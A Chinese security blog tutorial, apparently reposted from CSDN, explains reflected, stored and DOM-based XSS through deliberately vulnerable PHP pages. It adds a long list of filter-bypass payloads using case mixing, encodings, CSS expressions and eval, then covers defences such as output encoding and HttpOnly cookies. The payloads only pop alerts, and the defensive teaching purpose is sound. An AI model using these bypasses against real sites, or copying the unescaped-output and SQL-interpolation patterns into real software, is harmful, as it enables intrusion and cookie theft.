Bootstrap

遭遇 XSS 跨站脚本攻击?稳住,这些方法可保你渡劫 | 附代码、图解

cf7d2e511b1df257823420afdfdf57ba.gif

cc14244e9dfba6d0e80de0d045c2278f.jpeg

作者 | 杨秀璋

责编 | 夕颜

出品 | CSDN博客

本文将详细讲解XSS跨站脚本攻击,从原理、示例、危害到三种常见类型(反射型、存储型、DOM型),并结合代码示例进行详细讲解,最后分享了如何预防XSS攻击。本文参考了爱春秋ADO老师的课程内容,这里也推荐大家观看他Bilibili和ichunqiu的课程,同时也结合了作者之前的编程经验进行讲解。

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

ef42fd9f9a23d38dc7ae56a659f97ab5.png

什么是XSS

1.XSS原理

跨网站脚本(Cross-site scripting,XSS) 又称为跨站脚本攻击,是一种经常出现在Web应用程序的安全漏洞攻击,也是代码注入的一种。XSS是由于Web应用程序对用户的输入过滤不足而产生的,攻击者利用网站漏洞把恶意的脚本代码注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害者用户可能采取Cookie窃取、会话劫持、钓鱼欺骗等各种攻击。这类攻击通常包含了HTML以及用户端脚本语言。

9de20b0065aeb2cc65aa8e9365733f42.png

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、VBScript、ActiveX、 Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

漏洞成因

如下图所示,在URL中将搜索关键字设置为JS代码,执行了alert()函数。该图中,上面有一个URL,下面是一个页面返回的HTML代码,我们可以看到白色部分HTML是我们事先定义好的,黑色部分参数是用户想搜索的关键词。当我们搜索了test+Div最后等于123,后台反馈页面的搜索引擎会告诉用户搜索了什么关键词,结果如何等等。

6ce2bebdbbdc0db2508785bedb7f91f4.png

这个地方如果没有做好转移,可能会造成XSS跨站,我们可以看到蓝色部分是我们事先定义好的结构,被攻击者利用之后它先把这个DIV结束了,最后加上一个script标签,它也有可能不跟你谈标签,直接发送到它的服务器上。参数未经过安全过滤,然后恶意脚本被放到网页中执行,用户浏览的时候就会执行了这个脚本。

该漏洞存在的主要原因为:

  • 参数输入未经过安全过滤

  • 恶意脚本被输出到网页

  • 用户的浏览器执行了恶意脚本


2.XSS示例

作者接下来使用WAMP(Windows+Apache+MySQL+PHP)搭建PHP网站平台作,简单讲解两个常见案例。

0bf973e0c10bffc09fb583bbc22913a3.png

示例1:GET提交


下面是一个简单的XSS漏洞代码(xss-01.php)

 
 
<?php
  echo "这是一个XSS漏洞攻击测试页面!<br />";
  $xss = $_GET['x'];
  echo $xss;
  //JS代码:<script>alert(1)</script>
?>

当输入正确的值时,网页能正常显示。

 
 
http://localhost/xss/xss-01.php?x=122

输出结果如下图所示:

1fbb8a64f6ca8216f25a0aa9720a9992.png

而当我们输入JS脚本代码时,它会弹出相应的窗口,这就是一个XSS注入点。

 
 
http://localhost/xss/xss-01.php?x=<script>alert(1)</script>

836102a8ac7272d6bf8377ba1a1609b2.png

示例2:POST提交

另一种常见的XSS上传漏洞代码如下所示:

index.html

 
 
<html>
  <head><title>XSS测试1</title></head>
  <body>
    <form action='xss.php' method="get">
    请输入用户名:<br>
    <input type="text" name="name" value="" />
    <input type="submit" name="提交" />
    </form>
  </body>
</html>

xss.php

 
 
<html>
  <head>
    <title>测试结果</title>
  </head>
  <body>
    <?php
      echo $_REQUEST['name'];
    ?>
  </body>
</html>

输入正确的用户名如“eastmount”,仍然能正确显示。

4b11508183bb80be633ddb65e2990e13.png

f68878320a5bbe4ad4c5caa3a2208b6d.png

而输入脚本代码 < script>alert(1)< /script> 时,它弹出了对应的脚本窗口,存在XSS注入漏洞。注意,这里采用的是POST方法提交数据,而前面采用的GET方法,其最主要的区别是GET方式的网址可以看到参数,而POST方式URL始终不变。

6ff580cb3ea28181d5c47c1ad1bab034.png

ba3c8d0a9dfd2f9060532d3c50c4dfcf.png


页面直接弹出了“1“”的窗口,可以看到,我们插入的语句已经被页面给执行了。这就是最基本的反射型的XSS漏洞,这种漏洞数据流向是:前端–>后端–>前端。


3.XSS危害

XSS跨脚本攻击主要的危害如下:

  • 网络钓鱼,包括盗取各类用户账号

  • 窃取用户Cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作

  • 劫持用户浏览器会话,从而执行任意 操作,例如进行非法转账、强制发表日志、发送电子邮件等

  • 强制弹出广告页面、恶意 刷流量等

  • 网站挂马,进行恶意操作,例如任意篡改页面信息、非法获取网站信息、删除文件等

  • 进行大量的客户端攻击,例如DDOS攻击、传播跨站脚本蠕虫等

  • 获取用户端信息 ,;例如用户的浏览记录、真实IP地址、开放的端口等

  • 结合其他漏洞,如CSRF漏洞,实施进一步作恶

0afeea93dfad03b14d362ef02d5a4a45.png

8b8109727bd3dbb0c975370ffac6fa76.png

XSS分类

XSS有部分书籍将它划分为两类——反射型和持久型。

反射型


也称为非持久型、参数型跨站脚本。这种类型的跨站脚本是最常见,也是使用最广泛的一种,主要用于恶意脚本附加到URL地址的参数中。一般出现在输入框、URL参数处。

持久型


持久型跨站脚本也可以说是存储型跨站脚本,比反射型XSS更具威胁性,并且可能影响到Web服务器自身安全。一般出现在网站的留言、评论、博客日志等于用户交互处。


而另一部分书籍将XSS分为三种类型——反射型、存储型以及DOM型,这也是本篇文章重点讲解的分类方式。

6aa75fd4fdb3d372ad99e3dc2edf47df.png

1.反射型

反射型又称为非持久型、参数型跨站脚本。这种类型的跨站脚本是最常见,也是使用最广泛的一种,主要用于恶意脚本附加到URL地址的参数中。它需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面、输入框、URL参数处。反射型XSS大多数是用来盗取用户的Cookie信息。其攻击流程如下图所示:(该图片源自谢公子文章)

be3538cf6f8fffd8a3995610cf1e9d7d.png

下图是专门训练一些WEB漏洞的练习页面,我们可以输入自己的名字,输入之后会把我们的名字显示出来。例如我们输入了一个“张三”,这个时候弹出来了一个“123”,在那边显示了一个张三,但是script标签没有出来,因为这个标签被执行了。

9c1369820d27ad44c65a162beffdb68a.pngbe99f9bb8fe6a16e52c01f1013697ff5.png

示例:


这就是最基本的反射型的XSS漏洞,这种漏洞数据流向是:前端–>后端–>前端。其代码案例如前面所述:

 
 
//前端页面 index.html
<html>
  <head><title>XSS测试1</title></head>
  <body>
    <form action='xss.php' method="get">
    请输入用户名:<br>
    <input type="text" name="name" value="" />
    <input type="submit" name="提交" />
    </form>
  </body>
</html>


//后端页面 xss.php
<?php
  $name = $_POST['name'];
  echo $name;
?>

当用户提交数据,输入 < script>alert(‘hack’)< /script> 代码会提交给后台,并弹出hack页面,这就表示我们的恶意语句被页面执行了。

1df0558ce94139753f3186ee6d874455.png

33a6ed4bb362c7235d9105b825e15990.png

2.存储型

存储型XSS又称为持久型跨站脚本,比反射型XSS更具威胁性,并且可能影响到Web服务器自身安全。它的代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。存储型XSS一般出现在、评论、博客日志等于用户交互处,这种XSS比较危险,容易造成蠕虫、盗窃cookie等。其攻击流程如下图所示:(该图片源自谢公子文章)

34967c1d80154d69b64ce15d2ebfaa5a.png

在存储型XSS中,可以看到这个URL上面并没有代码,但是依然弹出了一个“1”。它是发现个人资料页的时候有一个XSS漏洞,在个性签名的位置填入了一个XSS标签,弹出了一个“1”,把这个地址发给别人,别人看到这个地址并没有什么代码以为这个页面是安全的,结果一打开就插入了这个XSS代码。

77d25d85837922d6ca4797bb84c2c5eb.png

存储型XSS的攻击危害比较大,因为它的页面当中是看不到这个Script的代码,别人防不胜防。只要管理员没有发现,下一个用户或者下一个用户一直接发它,而反射型需要用户主动点击的。

示例:


假设现在存在一个 index2.html 代码,用户提交ID和用户名并存储至数据库中。

 
 
<html>
  <head><title>XSS测试2</title></head>
  <body>
    欢迎大家阅读CSDN Eastmount的博客,一起进步,一起加油喔!<br />
    <form action='xss2.php' method="post">
    请输入用户名:<br>
    ID:<input type="text" name="id" value="" /> <br />
    Name:<input type="text" name="name" value="" /> <br />
    <input type="submit" name="提交" />
    </form>
  </body>
</html>

后台的 xss2.php 将执行数据库存储操作,本地MySQL数据库创建一个名为 XSSDB的数据库,并插入一张XSS表,如下图所示。

b6bcc0205f6a315ac22e934caf8b1cce.png

b401317889f7a05d2f64aa963e3237d3.png

xss2.php代码如下所示:

 
 
<?php
  //获取提交的表单值
  $id=$_POST["id"];
  $name=$_POST["name"];
  echo $id,'<br />';
  echo $name,'<br />';


  //连接数据库
  //因为PHP版本是7.3的,因此用mysqli_connect()而不是用mysql_connect()
  $con = mysqli_connect("localhost","root","123456", "xssdb");
  if (!$con)
  {
    die('Could not connect database: ' . mysqli_error());
  }


  //插入数据表
  $sql = "insert into xss (id,name) values ('{$id}','{$name}');";
  echo $sql;
  $result

此时另一个页面 select.php 负责提供给其他用户访问,则可以看到我们的信息。

 
 
<?php
  $id = $_GET['id'];


  //链接数据库
  $con = mysqli_connect("localhost","root","123456", "xssdb");


  //查询数据
  $sql = "select * from xss where id='{$id}';";
  $result = mysqli_query($con, $sql);


  //$data = mysqli_fetch_all($result); // 从结果集中获取所有数据
  //print_r($data);


  while($row = mysqli_fetch_assoc($result)) {
    echo $row['name'];
  }
?>

当我们输入正确的值,如下图所示:

id:1
name:yangxiuzhang

c8b1a4d74421bd70116f32a845c37cc1.png

1d5c4ed7a8d95904c57d7d20f9b7bf7e.png

此时数据库中可以看到我们插入的值。

ffbfe5ba868cf29628161394748e9490.png


通过本地网址(localhost:8088/xss/select.php?id=1)我们能获取id为1对应的name值。

90b29f2c9a34b58a10ea99e6373208f6.png


当我们输入JS代码时,该程序又将如何运行呢?接着我们插入如下数据:

id:2
name:< script>alert(‘hack’)< /script>

注意,这里的hack的单引号要进行转义,因为sql语句中的$name是单引号的,所以这里不转义的话就会闭合sql语句中的单引号,不然注入不进去。

08d009dd5e616055836d1533c2a26efd.png

原理:用户提交数据到后端,后端存储至数据库中,然后当其他用户访问查询页面时,后端调出数据库中的数据,显示给另一个用户,此时的XSS代码就被执行了。

53d7adb8eace8a070839df8f7e9e985b.png


此时数据库插入的内容如下所示,可以看到JS代码已经成功插入我们的后台。

39a4acbe1936abcd2067f4c4c248e1bc.png


最后,我们调用 select.php (localhost:8088/xss/select.php?id=2)页面,可以看到成功执行了该脚本文件。
存储型XSS的数据流向为:前端–>后端–>数据库–>后端–>前端。

03109cecd444b778c6db11d7be2f2ee7.png


3.DOM型

首先,什么是DOM呢?


DOM是指文档对象模型,是一个平台中立和语言中立的接口,有的程序和脚本可以动态访问和更新文档的内容、结构和样式。在web开发领域的技术浪潮中,DOM是开发者能用来提升用户体验的最重要的技术之一,而且几乎所有的现在浏览器都支持DOM。

DOM本身是一个表达XML文档的标准,HTML文档从浏览器角度来说就是XML文档,有了这些技术后,就可以通过javascript轻松访问它们。下图是一个HTML源代码的DOM树结构。

984fe46f56d31335e418a0d617af9038.png

其次,什么优势DOM-XSS呢?


DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,不经过后端,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。

DOM型的XSS是一些有安全意识的开发者弄出来的,比如说接受参数会做一些过滤,把一些字符转义一下,但是转义之后依然会存在着XSS的情况。常见可能触发DOM-XSS的属性包括:document.referer、window.name、location、innerHTML、documen.write等。

如下图所示,我们上面输入的可以看到这行代码规律,把这个大括号、小括号以及双页号进行转移,按理说转移之后它应该不会再作为它的标签存在,不会存在XSS的代码。

下面Script通过ID获得的这个值,复制到了这个DIV上,经过DOM操作之后,之前转义的字符就变为它的标签,所以经过DOM操作的XSS我们称之为DOMXSS。它有可能通过URL传播,也有可能通过服务器传播。

3b0c5198c6c43c259448d3fc1ec9f9b2.png

最后,DOM型跨站脚本的攻击是如何实现呢?

下面简单讲解一个DOM-XSS代码,假设前端是一个index3.html页面。

 
 
<html>
  <head><title>DOM-XSS测试3</title></head>
  <body>
    欢迎大家阅读CSDN Eastmount的博客,一起进步,一起加油喔!<br />
    <form action='xss3.php' method="post">
    请输入用户名:<br>
    <input type="text" name="name" value="" style="width:400px" /> <br />
    <input type="submit" name="提交" />
    </form>
  </body>
</html>

接着设置后台页面,xss3.php用于获取提交的值并显示其在页面中。注意,代码是获取username中的值,然后显示在print内,这也是导致XSS的原因。

 
 
<?php
  //获取提交的表单值
  $name=$_POST["name"];
?>
<input id="username" type="text" value="<?php echo $name; ?>"/>


<div id="print">
  <!-- 显示获取的内容 -->
</div>
<script type="text/javascript">
  //获取username值并输出在print内,这里是导致xss的主要原因
  var text = document.getElementById("username");
  var print = document.getElementById("print");
  print.innerHTML=text.value;
</script>

此时,当我们输入正常的参数,它显示的结果如下图所示,是正常显示的。

f686357911f788238fcd827080a8c512.png

4ae188d81f924866eb1c3dee518cf549.png


而当我们输入恶意代码的时候,比如提交 <img src=1 οnerrοr=alert(‘hack’) /> 给后台,它会执行我们的JS代码,弹出hack的窗体。从而证明了DOM-XXSS是存在的。


DOM型跨站脚本漏洞的数据流向是:前端->浏览器。

81e9d43b6e692d1f2956d74e7dd105c0.png

bbd2c4d00c1c5a21752a05fcd091f19c.png


f078c6e462149063d20a31d72880e80a.png

XSS构造及漏洞利用

1.XSS构造

在进行SQL注入中,我们可以设置相应的过滤函数防止,比如防止万能密码(‘or’='or’或admin),也能调用preg_replace()函数将特色字符过滤。同样,XSS攻击代码也可能会被过滤,如下所示,它将< script>和 < /script>进行了过滤。

 
 
<?php
    $name=$_POST["name"];
    if($name!=null){
        //过滤<script>和</script>
      $name=preg_replace("/<script>/","",$name);
      $name=preg_replace("/<\/script>/","",$name);
      echo $name;
    }
?>

如何绕过这个过滤呢?这里可以通过大小写成功绕过 ,如下所示:

9f80df15b06a59cd710ac1942cb168ef.png

为了更好地理解XSS跨站脚本攻击,更好地进行防御,这里我们分享常见的绕过XSS过滤(XSS-Filter)的方法。

1) 利用<>标记注射HTML、JavaScript

 
 
通过<script>标签就能任意插入由JavaScript或VBScript编写的恶意脚本代码
 常用案例:
     <script>alert(/xss/)</script>

2) 利用HTML标签属性值执行XSS

 
 
通过javascript:[code]伪协议形式编写恶意脚本
 常用案例:
     <table background="javascript:alert(/xss/)"></table>
     <img src="javascript:alert('xss');" >

3) 空格回车Tab绕过过滤

 
 
注意javas和cript之间的间隔不是由空格键添加的,而是用Tab键添加的。
    <img src="javas    cript:alert(/xss/)" width=100>


使用回车分隔:
<img src="javas
cript:
alert(/xss/)" width=100>

4) 对标签属性值进行转码

 
 
<img src="javascript:alert('xss');">
替换成:
<img src="javascrip&#116&#58alert('xss');">
其中,t的ASCII码值为116,用”&#116”表示,:则表示&#58。
再进一步替换:
<img src="javascrip&#000116&#00058alert('xss');">

5) 产生事件如click、mouseover、load等

W3C(万维网联盟)将事件分为3种不同的类别:

  • 用户接口(鼠标、键盘)

  • 逻辑(处理的结果)

  • 变化(对文档进行修改)

 
 
<input type="button" value="click me" onclick="alert('xss')" />
<img src="#" onerror=alert(/xss/)>

6) 利用CSS跨站过滤

常见示例如下所示:

 
 
<div style="background-image:url(javascript:alert('xss'))">


<style>
  body {background-image:url("javascript:alert(/xss/)");}
</style>


<div style="width:expression(alert('XSS'));">


<img src="#" style="xss:expression(alert(/xss/));">


<style>
    body {background-image: expression(alert("xss"));}
</style>


<div style="list-style-image:url(javascript:alert('XSS'));">


<div style="background-image:url(javascript:alert('XSS'));">


<img src=" javascript:alert('xss')">


<style>
    @import 'javascript:alert(/xss/)';
</style>

7) 扰乱XSS过滤规则

 
 
一个正常的XSS输入:
    <img src="javascript:alert(0);">


转换大小写后的XSS:
    <IMG SRC="javascript:alert(0);">


大小写混淆的XSS:
    <iMg sRC="JaVasCript:alert(0);">


不用双引号,而是使用单引号的XSS:
    <img src='javascript:alert(0);'>


不适用引号的XSS:
    <img src=javascript:alert(0);>


不需要空格的XSS:
    <img/src="javascript:alert('xss');">


构造不同的全角字符:
    <div style="{left:expression(alert('xss'))">


利用注释符
    <div style="wid/**/th:expre/*xss*/ssion(alert('xss'));">


\和\0–
    <style>
        @imp\0ort 'java\0scri\pt:alert(/xss/)';
</style>
    <style>
        @imp\ort 'ja\0va\00sc\000ri\0000pt:alert(/xss/)';
</style>


CSS关键字转码
    <div style="xss:\65xpression(alert('XSS'));">
    <div style="xss:\065xpression(alert('XSS'));">
    <div style="xss:\0065xpression(alert('XSS'));">


<!--<img src="--><img src=x οnerrοr=alert(1)//">


<comment><img src="</comment><img src=x οnerrοr=alert(1)//">


<style><img src=“</style><img src=x onerror=alert(1)//”>

8) 利用字符编码

 
 
原始语句:
    <img src="javascript:alert('xss');">


十进制编码
    <img
    src="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&
    #108&#101&#114&#116&#40&#39&#120&#115&#115&#39&#41&#59">


    <img
    src="&#0106;&#097;&#0118;&#097;&#0115;&#099;&#0114;&#0105;&#0112;&#
    0116;&#058;&#097;&#0108;&#0101;&#0114;&#0116;&#040;&#039;&#0120;&#
    0115;&#0115;&#039;&#041;&#059;">


    <img
    src="&#0000106&#000097&#0000118&#000097&#0000115&#000099&#000011
    4&#0000105&#0000112&#0000116&#000058&#000097&#0000108&#0000101&
    #0000114&#0000116&#000040&#000039&#0000120&#0000115&#0000115&#00
    0039&#000041&#000059">


十六进制编码
    <img
    src="&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3a&#
    x61&#x6c&#x65&#x72&#x74&#x28&#x27&#x78&#x73&#x73&#x27&#x29&#x3b">

9) 利用字符编码eval()函数、eval()和string.fromCharCode()函数过滤

 
 
<script>
        eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29");
</script>


    <img
    src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))">

PS:由于JavaScript代码必须要写在代码块中才能显示,所以文章包含了很多代码块,望读者理解。

2.挖掘其他XSS漏洞

其他恶意攻击包括黑盒攻击测试、源代码审计、Flash XSS等。

1)黑盒攻击测试

Acunetix Web Vulnerability Scanner 是一款商业级的web漏洞扫描程序,它的功能非常强大,可以自动化检查各种web应用漏洞,包括XSS、SQL注入、代码执行、目录遍历、网站源代码暴力等。

注意:下一篇文章作者将结合AWVS详细讲解XSS跨站脚本攻击的实战案例。

0ecf01b5b9c236fbfd04670b136aac7b.png

黑盒攻击测试手工检测XSS代码常见用法包括:

 
 
<script>alert(/xss/)</script>
<li/οnclick=alert(xss)>a</li>
<img/src=x οnerrοr=alert(1)>
<a href=javascript:alert(2)>M
<a href=j&#x61;v&#97script&#x3A;&#97lert(13)>M
<svg/οnlοad=alert(1)>

2) 源码审计

顾名思义就是检查源代码中的安全缺陷,检查程序源代码是否存在安全隐患,或者有编码不规范的地方,通过自动化工具或者人工审查的方式,对程序源代码逐条进行检查和分析,发现这些源代码缺陷引发的安全漏洞,并提供代码修订措施和建议。

例如,PHP全局变量如下所示:

ad672fc0394113bf060c3e813a548b5f.png

3) Flash XSS

关于Flash的跨站漏洞其实很早就出现了。Flash的安全漏洞也不仅仅只有XSS,还有CSRF、跨域、代码执行等其他安全问题。Flash中编程使用的是ActionScript脚本,Flash产生的xss问题主要有两种方式:加载第三方资源和与javascript通信引发XSS。

Flash确实存在很多漏洞,后续读者也想深入研究了解,看看能不能复现几个漏洞代码出来。同时,Flash XSS感兴趣的读者可以阅读安全脉搏大神的这篇文章:https://www.secpulse.com/archives/44299.html

4f2bafc02223f2132fe8388a724b2688.png


57afdc60e89d5be27f7382a746444724.png

如何防御XSS

由于XSS通常可以插入在script标签、HTML注释、标签属性名、标签属性值、标签名字、CSS等中,所以接下来我们简单讲讲如何防御XSS攻击。


1.输入过滤

输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当的内容提交,阻止或者忽略除此外的其他任何数据。如下代码,检查用户输入的电话号码是否真确(数字、字母检测)。

b05be0eefd98a75333ae669010836394.png

输入正确和错误分别提示。

ef5b5be31dd3c4d73b83bfd11adea333.png

输入验证要根据实际情况设计,下面是一些常见的检测和过滤:

  • 输入是否仅仅包含合法的字符

  • 输入字符串是否超过最大长度限制

  • 输入如果为数字,数字是否在指定的范围

  • 输入是否符合特殊的格式要求,如E-mail地址、IP地址等


2.输出编码

大多数的Web应用程序都存在一个通病,就是会把用户输入的信息完完整整的输出在页面中,这样很容易便会产生一个XSS。HTML编码在防止XSS攻击上起到很大的作用,它主要是用对应的HTML实体编号替代字面量字符,这样做可以确保浏览器安全处理可能存在恶意字符,将其当做HTMl文档的内容而非结构加以处理。

6f2adaf9f2257122c514e04214c055dd.png

3.标签黑白名单过滤

有时根本就不需要考虑到它是不是HTML标签,我们根本用不到HTML标签。不管是采用输入过滤还是输出过滤,都是针对数据信息进行黑/白名单式的过滤。

不同的javascript写法包括:

 
 
大小写混淆:
    <img src=JaVaScRiPt:alert(‘xss’)>
插入[tab]键;
    <img src=”jav ascript:alert(‘xss’);”>
插入回车符:
    <img src=”jav
        asrci
        pt:alert(‘xss’);”>
使用/**/注释符:
<img src=”java/*xxx*/script:alert(‘xss’);”>


重复混淆关键字:
    <img src=”java/*/*javascript*/script/*javascript*/*/script:alert(‘xss’);”>


使用&#十六进制编码字符:
    <img src=”jav&#x09;ascript:alert(‘xss’);”>


使用&#十进制编码字符:
    <img src= jav&#97;script:alert(‘xss’);”>


使用&#十进制编码字符(加入大量的0000):
    <img src=”j&#00097;vascript:alert(‘xss’);”>


在开头插入空格:
    <img src=” javascript:alert(‘xss’);”>

黑名单:


过滤可能造成危害的符号及标签,发现使用者输入参数的值为 < script>xxx< /script> 就将其取代为空白。其优点是可以允许开发某些特殊HTML标签,确实是可能因过滤不干净而使攻击者绕过规则。

白名单:


白名单仅允许执行特定格式的语法,仅允许< img scr=“http://xxx” > 格式,其余格式一律取代为空白。其优点是可允许特定输入格式的HTML标签,确实是验证程序编写难度校高,且用户可输入变化减少。


4.代码实体转义

由于只保留文字部分是一劳永逸的,有时我们还需要展示这个标签,比如说程序论坛当中要贴一个代码,这个时候我们需要用一些转义,它会把这个大括号、小括号以及双引号做一个转义,做为一个字符,就无法执行这个标签型,后面加一个参数,但有时候单引号也会造成XSS。

9f7413aa387a502f5be3c4ab64d7b61c.png

5.httponly防止cookie被盗取

一个信号当中有那么多的地方存在着这个输入以及检测的地方,可能就有一些地方漏掉,只要有一个地方漏掉了,用户的cookie信息就被盗取了。服务器在发送用户信息的时候,我们需要加上一个httponly,这个代码无法读取到cookie的信息,那么攻击者也是得不到这个信息,这对于用户来说也是非常好的保护。

比如说张三在我们网站上登陆了一下用户名,李四他特意发了一个攻击请求,他拿不到这个用户ID,就冒充不了这个张三。如果在Cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到Cookie信息,这样能有效的防止XSS攻击。

最重要的是:千万不要引入任何不可信的第三方JavaScript到页面里!


325eb237d8b40e8da846e8f2fb318eff.png

总结

希望这篇文章对你有所帮助,尤其是网络安全的初学者,作者写这篇文章加实验真的快吐了,哈哈!但只要对你们有帮助,我就很开心,后续会结合AWVS工具操作XSS攻击实战案例。

声明:本文为 CSDN 博主「Eastmount」的原创文章,版权归作者所有。

原文链接:https://blog.csdn.net/Eastmount/article/details/102511286

69cf2c6e67335d7fb7bcae8b6e2a180e.png

e45ce0fcae7fb3f94bf2bce55874ba7f.jpeg

 
 
 
 
 
 
更多精彩推荐
 
 
 
 
 
 
☞Java 二十五载,正在 Kotlin 化!
☞国产芯回忆录:造光刻的去卖早点,搞 EDA 的去组装电脑
☞连按 5 次 Shift 重改 CMD 和密码并重启电脑,这个漏洞你不能不知道!
☞维度爆炸?Python实现数据压缩如此简单
☞征战云时代,为什么安全是关键命题?
☞出海、拆分、集成公链,“国家队区块链选手”BSN在下一盘怎样的棋?
点分享点点赞点在看

悦读

道可道,非常道;名可名,非常名。 无名,天地之始,有名,万物之母。 故常无欲,以观其妙,常有欲,以观其徼。 此两者,同出而异名,同谓之玄,玄之又玄,众妙之门。

;